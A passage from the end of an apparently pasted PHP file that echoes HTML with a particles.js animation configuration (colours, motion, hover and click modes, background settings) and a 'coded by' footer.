  3538. "distance": 150,
  3539. "color": "#1D9D73",
  3540. "opacity": 0.4,
  3541. "width": 1
  3542. },
  3543. "move": {
  3544. "enable": true,
  3545. "speed": 6,
  3546. "direction": "none",
  3547. "random": false,
  3548. "straight": false,
  3549. "out_mode": "out",
  3550. "attract": {
  3551. "enable": false,
  3552. "rotateX": 600,
  3553. "rotateY": 1200
  3554. }
  3555. }
  3556. },
  3557. "interactivity": {
  3558. "detect_on": "canvas",
  3559. "events": {
  3560. "onhover": {
  3561. "enable": false,
  3562. "mode": "repulse"
  3563. },
  3564. "onclick": {
  3565. "enable": false,
  3566. "mode": "push"
  3567. },
  3568. "resize": true
  3569. },
  3570. "modes": {
  3571. "grab": {
  3572. "distance": 400,
  3573. "line_linked": {
  3574. "opacity": 1
  3575. }
  3576. },
  3577. "bubble": {
  3578. "distance": 400,
  3579. "size": 40,
  3580. "duration": 2,
  3581. "opacity": 8,
  3582. "speed": 3
  3583. },
  3584. "repulse": {
  3585. "distance": 200
  3586. },
  3587. "push": {
  3588. "particles_nb": 4
  3589. },
  3590. "remove": {
  3591. "particles_nb": 2
  3592. }
  3593. }
  3594. },
  3595. "retina_detect": true,
  3596. "config_demo": {
  3597. "hide_card": false,
  3598. "background_color": "#b61924",
  3599. "background_image": "",
  3600. "background_position": "50% 50%",
  3601. "background_repeat": "no-repeat",
  3602. "background_size": "cover"
  3603. }
  3604. }); </script>
  3605. </div>
  3606. </div>
  3607. </div>
  3608. <div class="footer">CODED BY WILDAN IZZUDIN</div>';
  3609. ?>
Add Comment
Please, Sign In to add comment